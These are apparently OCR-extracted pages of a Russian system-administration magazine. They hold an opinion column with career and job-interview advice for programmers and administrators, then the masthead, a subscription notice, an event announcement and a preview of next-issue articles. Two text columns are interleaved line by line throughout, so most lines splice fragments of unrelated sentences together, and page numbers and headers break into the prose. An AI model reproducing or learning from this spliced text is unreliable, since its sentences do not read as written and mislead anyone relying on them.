граммист может быть по своей натуре человеком нелю- конфигурация имеет свои особенности. Программа,
димым и необщительным, поскольку природа системных заточенная под одно оборудование, на другом может
компонентов такова, что они могут создаваться и в оди- просто не пойти, и все это вы должны заранее знать!
ночку. Прикладной программист уметь работать в коллек- Если же денег на приобретение оборудования у вас
тиве обязан по определению, а системный администра- нет, устраивайтесь в торговую фирму хотя бы простым
тор – это, в первую очередь, не столько хороший специа- сторожем, но с правом доступа к железу.
лист, сколько первоклассный хозяйственник. Из литературы вам потребуется… да, пожалуй, не
Теперь вы должны приложить максимум усилий к потребуется ровным счетом ничего, кроме учебника ан-
тому, чтобы освоить свою специальность до полного не- глийского языка и миллионов страниц документации,
понимания. Да-да, именно непонимания, ибо в позна- которую можно свободно скачать из Интернета и рас-
нии есть как минимум три стадии: знаю мало-помалу, печатать. Учебники в стиле «Язык Си++ для начинаю-
знаю все и ничего не знаю. Достижение третьей ста- щих» приносят намного больше вреда, чем пользы и
дии и есть свидетельство того, что вы кое в чем начи- зачастую необратимо калечат мышление новичков.
наете разбираться. Важно понять: профессиональные Приучайтесь осваивать продукт по его родной докумен-
навыки не могут быть приобретены ни дома, ни в уни- тации, а не по ее исковерканным описаниям сторонни-
верситете. Лишь на реальной работе, в окружении ре- ми авторами. Да, знаю, это трудно и на первых порах
альных специалистов и в процессе решения реальных языковой барьер будет очень мешать (ведь вся доку-
проблем постигаются азы любых высокотехнологичес- ментация сплошь на английском), но другого пути у вас
ких профессий. просто нет. Профессионал не может позволить себе
90
iMHO
деспотичными, и, соответственно, наоборот. Отсюда мо- Другой немаловажный критерий: отношение руковод-
раль: личность начальника – это чистейшей воды абст- ства к своим сотрудникам. Не секрет, что во многих фир-
ракция. Результат взаимоотношений между двумя людь- мах отношение к людям поистине скотское: начальство
ми в равной степени зависит от них обоих. постоянно треплет нервы, беспричинно объявляет выго-
воры, загружает работой сверх всяких норм и при этом
Стратегия действий считает, что персонал им чем-то еще и обязан. В других
в ситуации «выбираете вы» же фирмах, напротив, начальник – чуть ли не отец род-
В выборе работы и знакомстве с девушкой есть много ной и атмосфера в коллективе мягкая и спокойная. Никто
общего. Основной неудачей неопытных любовников яв- никого не пытается «подсидеть» или «обойти» в карьер-
ляется то, что, получив категоричный отказ, они автома- ной гонке на выживание. Иной специалист, нарвавшись
тически переключаются на другого партнера, и так про- на плохую фирму, начинает считать, что сейчас все фир-
исходит до тех пор, пока им не «повезет». Только везение мы такие. Вовсе нет! Ищите то, что вам нужно, и вы это
это довольно относительное (отсюда и кавычки). Дама найдете! Интернет-знакомства в этом помогают до чрез-
сердца, ответившая первому встречному «да», навряд ли вычайности, просто заведите более или менее личную
окажется хорошей спутницей жизни, и уж точно не самой переписку с некоторыми симпатичными лично вам сотруд-
лучшей, какую мог наш кавалер завоевать, будь он не- никами различных фирм – как ведущими специалистами,
много понастойчивее. так и простыми рабочими. Сразу же станет ясно что к чему
Куда бы вы ни стремились устроится: хоть в Микро- и что та или иная фирма собой представляет.
софт, хоть в Вася Пупкин и К, вы устроитесь туда, если Итак, фирма выбрана. Друзья в ней у вас уже имеют-
будете действовать по плану! Впрочем, Микрософт, по- ся. Ваша квалификация им отлично известна (ну не бол-
любому это не лучший выбор (см. врезку «Корпорации тали же вы все это время о погоде? Наверняка ведь об-
и крупные компании»), а Васи Пупкины – они очень раз- суждали те или иные технические проблемы и не исклю-
ные бывают. Поэтому, выбирая будущее место своей чено, что оказывали фирме довольно ценные услуги). И
работы, прежде всего к нему присмотритесь. Сделав что вы думаете, они еще и не принять вас могут?!
ставку на молодую фирму, вы можете сорвать большой
куш, т.к. такие фирмы обычно испытывают большие про- Стратегия действий в ситуации
блемы с персоналом и потому могут сразу же предло- «выбирают вас»
жить чрезвычайно соблазнительные условия, однако Собственно говоря, у любого нормального специалиста
если фирма через год-два рухнет, вы останетесь прак- проблема в трудоустройстве только одна: найти веский
тически ни с чем и весь процесс придется начинать сна- повод для отказа очередному нанимателю, ухитрившись
чала (впрочем, приобретенный опыт с вами все-таки при этом его не обидеть (а обижать нельзя, мало ли, вдруг
останется). Фирмы, существующие на рынке несколько с ним еще сотрудничать придется).
лет (а то и десятилетий) также не гарант стабильности, Просто занимайтесь своим любимым делом: ковыряй-
и прежде чем туда соваться, вы должны в меру своих тесь в железе, пишите программки «для души», изучайте
сил и возможностей изучить перспективы долгосрочно- сетевые протоколы, общайтесь по Интернету, и вы сами
го развития фирмы. Посмотрите: не расширялась ли не заметите, как предложения о работе посыпятся одно за
фирма до размеров амбиций своего директора в тот другим. Выбирайте! И не стесняйтесь диктовать свои ус-
период, когда ей следовало бы бросить все силы на вы- ловия нанимателям. Ведь это они пришли к вам, это они
живание? Соответствует ли зарплата сотрудников дохо- нуждаются в вас, так что никакие компромиссы тут неуме-
ду? Многие фирмы в плане привлечения специалистов стны. Зачем соглашаться на заведомо плохую работу, если
увеличивают им зарплату до той степени, что работа завтра наверняка появится еще более хорошая? Только не
специалистов перестает быть доходной и тогда зарпла- переоцените свои возможности и свою значимость в гла-
та вновь возвращается в нормальное русло (в результа- зах нанимателя и – упаси Боже – не заразитесь звездной
те чего все специалисты просто разбегаются), либо же болезнью, уверовав в то, что вы крутой специалист, кото-
фирма просто разлетается по швам. рый все знает и которому все нипочем.
Несколько советов, Вот только дорвусь до лопаты!). Напротив, будь сдержан (вот
как вести себя на собеседовании осмотрюсь, вольюсь в струю коллектива, а там… если до
Первое и главное. Не бойся показаться дураком, бойся той поры вы меня не уволите… мы и посмотрим).
показаться умным. Умный человек часто становится уг- Четвертое (вытекающее из третьего). Не ходи в чужой
розой для его непосредственного начальника, и от таких монастырь со своим уставом. Не пытайся убеждать фир-
заблаговременно пытаются избавляться. му, что они делают что-то не так, и что ты мог бы сделать
Второе. Не интересуйся зарплатой. Не интересуйся это лучше.
условиями труда. Интересуйся работой. Это вызывает Пятое (диаметрально расходящееся с четвертым).
уважение работодателя и значительно увеличивает твои Если у тебя есть свои идеи и ты видишь, что кое-что здесь
шансы на успех. А зарплата… не понравится – уйдешь. можно было бы и улучшить, не пытайся загонять инициа-
Третье. Не обещай работодателю того, что ты все равно тиву внутрь. Дай ей свободу. Может быть, конкретно в этом
не собираешься делать, и вообще поменьше всего обещай, месте тебе и откажут, но рано или поздно ты найдешь
не строй никаких планов (Да я тут вам! Да я горы сверну! именно ту работу, которую тебе нужно.
92
iMHO
ды субординации, и в помине нет! Подчас такие команды потому можете заниматься именно тем, что вас в данный
бывают на редкость сплоченными, особенно если охвачены момент больше всего интересует. Если сотрудничать с не-
одной общей идеей, и устроиться сюда на работу может ока- сколькими фирмами одновременно, то вы практически на
заться очень и очень трудно. Как правило, требуется личное сто процентов застрахованы от внезапного краха. Про-
знакомство или рекомендация одного из членов команды. граммируйте, администрируйте, ищите дыры в системах
Концентрация умных людей в мелких компаниях может безопасности – сотни компаний нуждаются в ваших ус-
достигать и 120%. Работать в такой атмосфере чрезвычай- лугах и перебоев с заказами не будет. Правда, работать
но интересно и увлекательно, правда, работать приходится придется не очень много, а настолько много, что понача-
очень и очень много. Порой – по 40-50 часов кряду (и это лу даже страшно себе представить, причем пословицу
отнюдь не гипербола!), причем, без каких-либо гарантий «Волка ноги кормят» вам придется вспоминать не раз и
получения достойной оплаты за свой труд. Все зависит от не два. Такая работа сильно изматывает, и, несмотря на
того, насколько хорошо пойдет продукт на рынке. И, как по- все прелести вольной жизни, свободный копейщик прак-
казывает практика, без посторонней помощи даже отлич- тически никогда не отказывается от постоянной работы –
ный продукт никуда не идет. Отсутствие грамотного менед- стоит ему ее только предложить.
жера, отсутствие долгосрочной рыночной стратегии, неуме- В самом деле – перспектив карьерного роста здесь
лое планирование и амбициозные идеи при полном отсут- нет никаких (выше себя не прыгнешь). Сидишь, варишь-
ствии финансовых средств приводят к тому, что множество ся в собственном соку, и ни обмена идеями тебе, ни про-
мелких фирм разоряются чуть ли не в течение года. Самое стой дружеской помощи в трудные часы. Конечно, об-
печальное, что реального опыта работа в таких фирмах не щаться с коллегами можно и по Интернету, но это все-
дает, да и не может дать. Концентрация на частных пробле- таки не то. Свободные копейщики – они, как кошки, бро-
мах, общение с ограниченным кругом людей (не путать с дят где-то там сами по себе, на свою территорию чужих
кругом ограниченных людей), изматывающая работа не ос- не пускают, а профессиональными секретами делятся
тавляют после себя практически ничего. Ничего, что пред- крайне неохотно (ведь знания – это их хлеб). Возможно-
ставляло бы интерес для будущих работодателей. стей для реализации серьезных проектов у одиночек нет.
Если же несколько свободных кошек собираются в одну
Свободный копейщик команду, то это будет фирма, независимо от того, заре-
Практически все то же самое, что и в мелкой компании, гистрирована она официально или нет.
однако в своем домашнем офисе вы сам себе хозяин и
94
подписка
81655
Единый
подписной
индекс:
81655
по каталогу 81655
агентства
«Роспечать»
Рады видеть
Вас нашими
читателями!
РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
В СЛЕДУЮЩЕМ
Владимир Положевец
Ответственный секретарь
Наталья Хвостова
НОМЕРЕ:
sekretar@samag.ru
Технический редактор
Владимир Лукин Установка Свой собственный модуль
IMAP4-сервера на базе В этой статье мы рассмотрим основ-
РЕКЛАМНАЯ СЛУЖБА cyrus-imapd + sendmail ные операции с модулями ядра Linux,
тел.: (095) 928-8253 (доб. 112) Традиционный протокол POP3, ис- а также создание собственного моду-
факс: (095) 928-8253 пользуемый клиентскими программа- ля, позволяющего расширить возмож-
Константин Меделян ми для получения почты с сервера, об- ности ядра операционной системы.
reсlama@samag.ru ладает рядом недостатков – во-пер- В Linux драйверы выполнены в
вых, в рамках почтовой сессии пароль виде модулей ядра. Ядро Linux содер-
Верстка и оформление передается в открытом виде (plain жит только самый необходимый код –
imposer@samag.ru text) и злоумышленник может легко чтобы только загрузиться. Поддерж-
maker_up@samag.ru его перехватить. ку остальных устройств обеспечива-
Во-вторых, если пользователь заби- ют модули, которые встраиваются в
Дизайн обложки рает почту с разных мест, ему везде ядро при загрузке системы. С помо-
Николай Петрочук придется настраивать фильтры для сор- щью пакета modutils, который будет
тировки в почтовом клиенте и скачи- рассмотрен ниже, вы можете доба-
103012, г. Москва, вать заново всю почту с сервера. вить нужный вам модуль в ядро во
Ветошный переулок, дом 13/15 В-третьих, если вы заведомо зна- время работы системы. При этом пе-
тел.: (095) 928-8253 (доб. 112) ете, что вам нужно удалить какое-то резагружать систему не нужно – уст-
факс: (095) 928-8253 сообщение прямо на сервере, пред- ройство начнет работать сразу же
Е-mail: info@samag.ru варительно его придется загрузить к после загрузки модуля.
Internet: www.samag.ru себе на машину. Раньше, в первых версиях ядра
Альтернативой POP3 может служить Linux, механизм работы с модулями
РУКОВОДИТЕЛЬ ПРОЕКТА IMAP (Internet Message Access Protocol), не был предусмотрен, и ядра тех вре-
Петр Положевец который и призван избавить пользова- мен содержали в себе код драйверов
теля от вышеупомянутых проблем. для всех поддерживаемых устройств.
УЧРЕДИТЕЛИ Такое решение нельзя назвать
Владимир Положевец Анализ защиты программ рациональным. Мы не можем пре-
Александр Михалев и рекомендации дусмотреть, какие устройства будут
по её усилению установлены у конечного пользова-
ИЗДАТЕЛЬ Для того чтобы защитить программы теля, даже если включить в состав
ЗАО «Издательский дом от взлома, необходимо знать, против ядра драйверы всех возможных ус-
«Учительская газета» чего мы боремся. Будем считать, что тройств.
мы являемся разработчиками про- Исходя из всего этого, разработ-
Отпечатано типографией граммного обеспечения и нам проти- чики ядра Linux «изобрели» механизм
ООО «Мастер Печати» востоит взломщик среднего уровня. динамически загружаемых модулей.
Тираж 5500 экз.
Мы участвуем!
Журнал зарегистрирован На стыке сентября и октября наш журнал примет участие сразу в двух значи-
в Министерстве РФ по делам печати, тельных мероприятиях: 14-й ежегодной выставке информационных техноло-
телерадиовещания и средств мас- гий SofTool (30.09.2003 – 04.10.2003) и конференции АДЭ (ассоциация доку-
совых коммуникаций (свидетельство ментальной электросвязи).
ПИ № 77-12542 от 24 апреля 2002г.) На SofTool все желающие могут найти нас на стенде №Е38, чтобы пооб-
щаться с представителями журнала, задать интересующие вопросы, купить
За содержание статьи ответственность старые и новые номера и договориться о деловом сотрудничестве.
несет автор. За содержание рекламно- В Конференции АДЭ (30.09.2003 – 02.10.2003) примут участие специа-
го обьявления ответственность несет листы и руководители крупных фирм и организаций. Сама конференция бу-
рекламодатель. Все права на опубли- дет проходить в Подмосковье, в отеле Виноградово, и благодаря насыщенно-
кованные материалы защищены. Ре- сти программы ожидается крайне плодотворной.
дакция оставляет за собой право изме- Рекламные материалы данных мероприятий вы сможете найти на страни-
нять содержание следующих номеров. цах нашего журнала.
96